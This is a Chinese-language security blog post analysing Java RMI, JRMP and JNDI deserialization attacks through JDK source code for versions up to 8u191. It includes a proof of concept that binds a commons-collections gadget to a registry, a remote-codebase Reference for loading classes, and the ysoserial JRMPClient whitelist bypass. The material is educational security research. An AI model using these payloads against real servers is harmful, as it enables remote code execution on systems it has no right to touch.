0x01 前言

前段时间,发了一篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,以概念和例子,粗略的讲解了什么是RMI,什么是JRMP、以及什么是JNDI,本来,我的初衷是为了照顾初学者,还有没多少Java基础的学习者,让他们能初步了解RMI\JRMP\JNDI,而不被很多讲得不清不楚的文章搞得迷迷糊糊,浪费了大量的时间。

但是,最近我发现,虽说文章大部分人也看懂了,而有小部分准备深入研究Java安全的人,对于稍微深入一点的部分会有点迷惑,因此,我准备新开这篇文章,以简单的源码浅析,去把它搞清楚。

在阅读这篇文章之前,我希望你能简单的看看这篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,先搞清楚什么是RMI、JRMP、JNDI,以及什么是RMI Registry等等概念。

在文章内容开始之前,先做一个高度的总结,貌似会比较友好,而后面的文章内容,将会以这个顺序去慢慢讲解:

  1. RMI攻击主要分3种目标:RMI Client、RMI Server、RMI Registry。
  2. 使用远程Reference字节码进行攻击。
  3. 从jdk8u121开始,RMI加入了反序列化白名单机制,JRMP的payload登上舞台,这里的payload指的是ysoserial修改后的JRMPClient。
  4. 从jdk8u121开始,RMI远程Reference代码默认不信任,RMI远程Reference代码攻击方式开始失效。
  5. 从jdk8u191开始,LDAP远程Reference代码默认不信任,LDAP远程Reference代码攻击方式开始失效,需要通过javaSerializedData返回序列化gadget方式实现攻击。

0x02 从JDK不同版本进行源码分析

最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。

而在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。

调用者,我们称之为客户端,被调用者,我们则称之为服务端。

RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需一行代码即可完成。

创建RMI Registry服务:

LocateRegistry.createRegistry(1099);

这就是,创建RMI Registry服务的代码,在创建RMI Registry服务之后,我们就能像前面所说一样,服务端通过与RMI Registry建立的TCP连接,注册一个可被远程调用的类进去,然后客户端,从RMI Registry服务获取到服务端注册类的信息,从而与服务端建立TCP连接,完成远程方法调用(RMI)。但这里有一个必须要注意的地方,当你使用独立JVM去部署RMI Registry的时候,必须把被调用类实现的接口,也要放在RMI Registry类加载器能加载的地方。类似下面所说的nterface HelloService

服务端注册服务类到RMI Registry:

public interface HelloService extends Remote {

  String sayHello() throws RemoteException;
}

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

  protected HelloServiceImpl() throws RemoteException {
  }

  @Override
  public String sayHello() {
    System.out.println("hello!");
    return "hello!";
  }
}

public class RMIServer {

  public static void main(String[] args) {
    try {
      LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
    } catch (AlreadyBoundException | RemoteException e) {
      e.printStackTrace();
    }
  }
}

客户端获取注册类信息,并调用:

public interface HelloService extends Remote {

  String sayHello() throws RemoteException;
}

public class RMIClient {

  public static void main(String[] args) {
    try {
      HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
      System.out.println(helloService.sayHello());;
    } catch (RemoteException | NotBoundException e) {
      e.printStackTrace();
    }
  }
}

这里说明一下,当执行Registry registry = LocateRegistry.createRegistry(1099);的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl,其内部的ref,也就是sun.rmi.server.UnicastServerRef,持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。

而服务端以及客户端,执行Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);返回的是sun.rmi.registry.RegistryImpl_Stub。

当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时,在其父类UnicastRemoteObject中,会对当前对象进行导出,返回一个当前对象的stub,也就是HelloService_stub,在其执行registry.bind("hello", helloService);的时候,会把这个stub对象,发送到RMI Registry存根。

当客户端执行HelloService helloService = (HelloService) registry.lookup("hello")的时候,就会从RMI Registry获取到服务端存进去的stub。

接着客户端就可以通过stub对象,对服务端发起一个远程方法调用helloService.sayHello(),stub对象,存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,对开发者完全透明。

jdk版本 < jdk8u121

接下来,开始从小于jdk8u121版本的jdk8u112版本进行分析。

前面也描述的很清楚了,RMI Registry的创建,从LocateRegistry.createRegistry(1099);开始,这个方法执行以后,就会创建一个监听1099端口的ServerSocket,当RMI服务端执行bind的时候,会发送stub的序列化数据过来,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel#dispatch方法被处理。

整个执行栈是这样的:

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

而在这个dispatch方法中,我们可以清晰的看到,对序列化数据进行了反序列化操作

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != 4905912898345647071L) {
      throw new SkeletonMismatchException("interface hash mismatch");
    } else {
      RegistryImpl var6 = (RegistryImpl)var1;
      String var7;
      Remote var8;
      ObjectInput var10;
      ObjectInput var11;
      switch(var3) {
      case 0:
        try {
          var11 = var2.getInputStream();
          var7 = (String)var11.readObject();
          var8 = (Remote)var11.readObject();
        } catch (IOException var94) {
          throw new UnmarshalException("error unmarshalling arguments", var94);
        } catch (ClassNotFoundException var95) {
          throw new UnmarshalException("error unmarshalling arguments", var95);
        } finally {
          var2.releaseInputStream();
        }

        var6.bind(var7, var8);

        try {
          var2.getResultStream(true);
          break;
        } catch (IOException var93) {
          throw new MarshalException("error marshalling return", var93);
        }
      case 1:
        var2.releaseInputStream();
        String[] var97 = var6.list();

        try {
          ObjectOutput var98 = var2.getResultStream(true);
          var98.writeObject(var97);
          break;
        } catch (IOException var92) {
          throw new MarshalException("error marshalling return", var92);
        }
      case 2:
        try {
          var10 = var2.getInputStream();
          var7 = (String)var10.readObject();
        } catch (IOException var89) {
          throw new UnmarshalException("error unmarshalling arguments", var89);
        } catch (ClassNotFoundException var90) {
          throw new UnmarshalException("error unmarshalling arguments", var90);
        } finally {
          var2.releaseInputStream();
        }

        var8 = var6.lookup(var7);

        try {
          ObjectOutput var9 = var2.getResultStream(true);
          var9.writeObject(var8);
          break;
        } catch (IOException var88) {
          throw new MarshalException("error marshalling return", var88);
        }
      case 3:
        try {
          var11 = var2.getInputStream();
          var7 = (String)var11.readObject();
          var8 = (Remote)var11.readObject();
        } catch (IOException var85) {
          throw new UnmarshalException("error unmarshalling arguments", var85);
        } catch (ClassNotFoundException var86) {
          throw new UnmarshalException("error unmarshalling arguments", var86);
        } finally {
          var2.releaseInputStream();
        }

        var6.rebind(var7, var8);

        try {
          var2.getResultStream(true);
          break;
        } catch (IOException var84) {
          throw new MarshalException("error marshalling return", var84);
        }
      case 4:
        try {
          var10 = var2.getInputStream();
          var7 = (String)var10.readObject();
        } catch (IOException var81) {
          throw new UnmarshalException("error unmarshalling arguments", var81);
        } catch (ClassNotFoundException var82) {
          throw new UnmarshalException("error unmarshalling arguments", var82);
        } finally {
          var2.releaseInputStream();
        }

        var6.unbind(var7);

        try {
          var2.getResultStream(true);
          break;
        } catch (IOException var80) {
          throw new MarshalException("error marshalling return", var80);
        }
      default:
        throw new UnmarshalException("invalid method number");
      }

    }
}

可以看到,根据传输过来的数据头,一共分为了0、1、2、3、4五个case处理逻辑,那么,我们看看服务端在执行bind方法注册服务类到RMI Registry的时候,到底传过来的是case多少。

代码位于sun.rmi.registry.RegistryImpl_Stub#bind

public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
    try {
      RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

      try {
        ObjectOutput var4 = var3.getOutputStream();
        var4.writeObject(var1);
        var4.writeObject(var2);
      } catch (IOException var5) {
        throw new MarshalException("error marshalling arguments", var5);
      }

      super.ref.invoke(var3);
      super.ref.done(var3);
    } catch (RuntimeException var6) {
      throw var6;
    } catch (RemoteException var7) {
      throw var7;
    } catch (AlreadyBoundException var8) {
      throw var8;
    } catch (Exception var9) {
      throw new UnexpectedException("undeclared checked exception", var9);
    }
}

可以看到RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);第三个参数,也就是0,并且在其后向RMI Registry写了两个序列化对象数据。

接着回到RMI Registry,我们可以看到,对于case=0的时候,毫无疑问,对RMI服务端bind时发过来的序列化数据进行了反序列化,也就是说,通过RMI服务端执行bind,我们就可以攻击RMI Registry注册中心,导致其反序列化RCE

接下来,我们进一步分析RMI客户端lookup的时候,具体做了什么操作。

通过debug,可以看到,RMI客户端执行lookup部分代码位于sun.rmi.registry.RegistryImpl_Stub#lookup

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
      RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

      try {
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(var1);
      } catch (IOException var18) {
        throw new MarshalException("error marshalling arguments", var18);
      }

      super.ref.invoke(var2);

      Remote var23;
      try {
        ObjectInput var6 = var2.getInputStream();
        var23 = (Remote)var6.readObject();
      } catch (IOException var15) {
        throw new UnmarshalException("error unmarshalling return", var15);
      } catch (ClassNotFoundException var16) {
        throw new UnmarshalException("error unmarshalling return", var16);
      } finally {
        super.ref.done(var2);
      }

      return var23;
    } catch (RuntimeException var19) {
      throw var19;
    } catch (RemoteException var20) {
      throw var20;
    } catch (NotBoundException var21) {
      throw var21;
    } catch (Exception var22) {
      throw new UnexpectedException("undeclared checked exception", var22);
    }
}

跟RMI服务端bind一样,此处也执行了RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);,不过第三个参数为2,也就是说RMI Registry会执行其case=2的操作。

接着,在lookup中var3.writeObject(var1);对参数var1对象进行了序列化发送至RMI Registry,然后对RMI Registry的返回数据进行了反序列化var23 = (Remote)var6.readObject();,也就是说,lookup方法,理论上,我们可以在客户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端,只不过lookup发送的序列化数据似乎只能发送String类型,但是,我们完全可以在debug的情况下,控制发送其它类型的序列化数据,达到攻击RMI Registry的效果。

前面,我们已经搞明白了两个目标的攻击方法:

  1. RMI服务端使用bind方法可以实现主动攻击RMI Registry
  2. RMI客户端使用lookup方法理论上可以主动攻击RMI Registry
  3. RMI Registry在RMI客户端使用lookup方法的时候,可以实现被动攻击RMI客户端

但是,还有一个目标,也就是RMI服务端,我们可以怎么样去攻击呢?

既然,前面已经说过,客户端与服务端之间的交流都被封装在从RMI Registry获取到的stub中,那么,我们就对探究探究。

在对lookup后返回客户端的HelloService进行debug后发现,它是一个Java的动态代理对象,真正的逻辑由RemoteObjectInvocationHandler执行,下面是它的部分执行栈:

invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)

在UnicastRef的invoke方法中,我们可以发现,对于远程调用的传参,客户端会把参数进行序列化后传到服务端,代码位于sun.rmi.server.UnicastRef#marshalValue

而对于远程调用,客户端会把服务端的返回结果进行反序列化,代码位于sun.rmi.server.UnicastRef#unmarshalValue

也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。

那么,到这里,我相信,大家应该都搞清楚了,每个目标的攻击原理了。这里友情提醒,刚刚你们也看到了,在你攻击对方的时候,如果这是一个陷阱,说不定,反过来你就被人getshell了。

但是,有个问题,既然是反序列化攻击,那么,我们必须得找到能使用的gadget吧?如果没有gadget,那就谈不上反序列化RCE了吧?

没错,反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。

但是这里就要讲讲Reference对象,在特殊情况下,可以不需要gadget依赖的存在,亦或者说Reference也是一个gadget。

当我们通过这种方式,使用服务端bind注册一个Reference对象到RMI Registry的时候:

Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);

Reference构造方法参数:

public Reference(String className, String factory, String factoryLocation) {
    this(className);
    classFactory = factory;
    classFactoryLocation = factoryLocation;
}

当我们在客户端,执行这样的代码,去lookup RMI Registry的时候

new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");

其执行栈大致如下:

getObjectInstance:296, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:22, RMIClient (com.threedr3am.bug.rmi.client)

然后,我们看到NamingManager的getObjectInstance方法代码:

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {

    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

接着,执行到javax.naming.spi.NamingManager#getObjectFactoryFromReference方法:

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

最后,会通过这一行代码clas = helper.loadClass(factoryName, codebase);完成对远程class的读取加载,其中factoryName为我们服务端bind服务时传的Reference的Calc值,而codebase则是http://localhost/,就这样,我们就可以让客户端在lookup的时候,无需其他gadget,直接让其加载远程恶意class,达到RCE。

jdk版本 = jdk8u121

在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了,究竟有哪些类被列入白名单呢?我们一探究竟

那,我们直接bind一个恶意gadget到RMI Registry看看吧

/**
 * RMI服务端攻击RMI Registry
 *
 * 需要服务端和注册中心都存在此依赖 org.apache.commons:commons-collections4:4.0
 *
 * @author threedr3am
 */
public class AttackRMIRegistry {

  public static void main(String[] args) {
    try {
      Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
      Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("threedr3am", makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})), Remote.class);
      registry.bind("hello", remote);
    } catch (AlreadyBoundException | RemoteException e) {
      e.printStackTrace();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  private static Object makePayload(String[] args) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(args[0]);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    return queue;
  }
}

执行后会发现,RMI Registry输出了ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 285, ex: n/a
,明显就是被过滤了,这个gadget。

跟踪ObjectInputStream的反序列化,过滤gadget大概位置在

registryFilter:389, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1345636186 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1228, ObjectInputStream (java.io)
readProxyDesc:1771, ObjectInputStream (java.io)
readClassDesc:1710, ObjectInputStream (java.io)
readOrdinaryObject:1986, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

跟进RegistryImpl的registryFilter方法

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
      Status var1 = registryFilter.checkInput(var0);
      if (var1 != Status.UNDECIDED) {
        return var1;
      }
    }

    if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
      return Status.REJECTED;
    } else {
      Class var2 = var0.serialClass();
      if (var2 == null) {
        return Status.UNDECIDED;
      } else {
        if (var2.isArray()) {
          if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
            return Status.REJECTED;
          }

          do {
            var2 = var2.getComponentType();
          } while(var2.isArray());
        }

        if (var2.isPrimitive()) {
          return Status.ALLOWED;
        } else {
          return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
        }
      }
    }
}

可以看到,最后的白名单判断:

  1. String.clas
  2. Number.class
  3. Remote.class
  4. Proxy.class
  5. UnicastRef.class
  6. RMIClientSocketFactory.class
  7. RMIServerSocketFactory.class
  8. ActivationID.class
  9. UID.class

看到这个白名单,也就是说,几乎全部gadget基本都凉了。

这时候,我们看向ysoserial,它有一个payload是ysoserial.payloads.JRMPClient,我们看看它payload的内容

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);

payload只有几行代码,但是恰恰都就在白名单内。

那么,这个payload到底做了什么事情呢?这时候,我们可以跟到客户端和服务端执行的LocateRegistry.getRegistry("127.0.0.1", 1099);源码中

public static Registry getRegistry(String host, int port)
        throws RemoteException
{
    return getRegistry(host, port, null);
}

public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
{
    Registry registry = null;

    if (port <= 0)
        port = Registry.REGISTRY_PORT;

    if (host == null || host.length() == 0) {
        // If host is blank (as returned by "file:" URL in 1.0.2 used in
        // java.rmi.Naming), try to convert to real local host name so
        // that the RegistryImpl's checkAccess will not fail.
        try {
            host = java.net.InetAddress.getLocalHost().getHostAddress();
        } catch (Exception e) {
            // If that failed, at least try "" (localhost) anyway...
            host = "";
        }
    }

    /*
     * Create a proxy for the registry with the given host, port, and
     * client socket factory.  If the supplied client socket factory is
     * null, then the ref type is a UnicastRef, otherwise the ref type
     * is a UnicastRef2.  If the property
     * java.rmi.server.ignoreStubClasses is true, then the proxy
     * returned is an instance of a dynamic proxy class that implements
     * the Registry interface; otherwise the proxy returned is an
     * instance of the pregenerated stub class for RegistryImpl.
     **/
    LiveRef liveRef =
        new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                    new TCPEndpoint(host, port, csf, null),
                    false);
    RemoteRef ref =
        (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

    return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

可以很清楚的看到,这个方法执行最后返回的Registry,跟这个payload几行代码是一样的,而LocateRegistry.getRegistry("127.0.0.1", 1099);这行代码的意思,就是跟RMI Registry建立连接,那么这几行代码的意义就无疑了。

而既然这是一个gadget,那么反序列化的时候如何去触发呢?我们看看UnicastRef

public class UnicastRef implements RemoteRef

public interface RemoteRef extends java.io.Externalizable

可以看到,它间接的实现了Externalizable接口,熟悉的人就会知道,在其反序列化的时候会触发readExternal方法的执行,类似readObject

而在这个payload中,我们可以把host和port指定RMI Registry,然后跟踪其执行栈,可以发现RMI Registry执行栈如下:

dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

其源码:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != -669196253586618813L) {
      throw new SkeletonMismatchException("interface hash mismatch");
    } else {
      DGCImpl var6 = (DGCImpl)var1;
      ObjID[] var7;
      long var8;
      switch(var3) {
      case 0:
        VMID var39;
        boolean var40;
        try {
          ObjectInput var14 = var2.getInputStream();
          var7 = (ObjID[])var14.readObject();
          var8 = var14.readLong();
          var39 = (VMID)var14.readObject();
          var40 = var14.readBoolean();
        } catch (IOException var36) {
          throw new UnmarshalException("error unmarshalling arguments", var36);
        } catch (ClassNotFoundException var37) {
          throw new UnmarshalException("error unmarshalling arguments", var37);
        } finally {
          var2.releaseInputStream();
        }

        var6.clean(var7, var8, var39, var40);

        try {
          var2.getResultStream(true);
          break;
        } catch (IOException var35) {
          throw new MarshalException("error marshalling return", var35);
        }
      case 1:
        Lease var10;
        try {
          ObjectInput var13 = var2.getInputStream();
          var7 = (ObjID[])var13.readObject();
          var8 = var13.readLong();
          var10 = (Lease)var13.readObject();
        } catch (IOException var32) {
          throw new UnmarshalException("error unmarshalling arguments", var32);
        } catch (ClassNotFoundException var33) {
          throw new UnmarshalException("error unmarshalling arguments", var33);
        } finally {
          var2.releaseInputStream();
        }

        Lease var11 = var6.dirty(var7, var8, var10);

        try {
          ObjectOutput var12 = var2.getResultStream(true);
          var12.writeObject(var11);
          break;
        } catch (IOException var31) {
          throw new MarshalException("error marshalling return", var31);
        }
      default:
        throw new UnmarshalException("invalid method number");
      }

    }
}

在debug中,我们可以发现第三个参数为1,也就是说,其中sun.rmi.transport.DGCImpl_Skel#dispatch的代码,会执行到case=1的部分,可以看到,其中做了writeObject,那么,也就是说这三行payload的反序列化,会与RMI Registry连接上,执行分布式的GC,并且RMI Registry会发送序列化数据给连接发起者,最终造成反序列化,而反序列化部分代码,我们这里简单的跟一下吧。

其执行栈大概如下:

dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:60, PayloadRunner (ysoserial.payloads.util)
main:84, JRMPClient1 (ysoserial.payloads)

跟进DGCImpl_Stub的dirty方法,可以看到:

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
    try {
      RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

      try {
        ObjectOutput var6 = var5.getOutputStream();
        var6.writeObject(var1);
        var6.writeLong(var2);
        var6.writeObject(var4);
      } catch (IOException var20) {
        throw new MarshalException("error marshalling arguments", var20);
      }

      super.ref.invoke(var5);

      Lease var24;
      try {
        ObjectInput var9 = var5.getInputStream();
        var24 = (Lease)var9.readObject();
      } catch (IOException var17) {
        throw new UnmarshalException("error unmarshalling return", var17);
      } catch (ClassNotFoundException var18) {
        throw new UnmarshalException("error unmarshalling return", var18);
      } finally {
        super.ref.done(var5);
      }

      return var24;
    } catch (RuntimeException var21) {
      throw var21;
    } catch (RemoteException var22) {
      throw var22;
    } catch (Exception var23) {
      throw new UnexpectedException("undeclared checked exception", var23);
    }
}

其中,的确对返回数据进行了反序列化,也就是说,在jdk8u121之后,可以通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击。

因此,我们可以通过这个payload绕过RMI反序列化白名单限制,虽然,白名单是绕过了,但是还是存在gadget依赖问题,如果没有相应的gadget依赖,我们也没办法达到RCE。

不过,这里可以总结一下了:ysoserial的JRMPClient payload是为了绕过jdk8u121后出现的白名单限制。

说完需要gadget依赖的打法限制问题了,那么我们再来看看前面所讲的使用JNDI攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")的客户端。

在jdk8u121之后,对于Reference加载远程代码,jdk的信任机制,在通过rmi加载远程代码的时候,会判断环境变量com.sun.jndi.rmi.object.trustURLCodebase是否为true,而其在121版本及后,默认为false,也就是说,在jdk8u121之后,我们就没办法通过rmi服务的JNDI方式打客户端了,那么,有没有其他办法呢?

有,使用ldap协议的JNDI,具体怎么搭这样的一个服务这里就不讲了,marshalsec也有现成的,我们这里只试试对客户端的攻击,并看看客户端做了什么事情吧。

大概触发RCE的执行栈是这样的:

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:17, JndiAttackLookup (com.threedr3am.bug.rmi.client)

在里面,我并没有找到相关类似远程代码信任机制的东西,也就是说,通过ldap协议的jndi服务方式,在jdk8u121后,能攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")的客户端

jdk版本 > jdk8u191

为什么继续讲jdk8u191呢,因为在jdk8u191之后,加入LDAP远程Reference代码信任机制,LDAP远程代码攻击方式开始失效,也就是系统变量com.sun.jndi.ldap.object.trustURLCodebase默认为false(CVE-2018-3149)

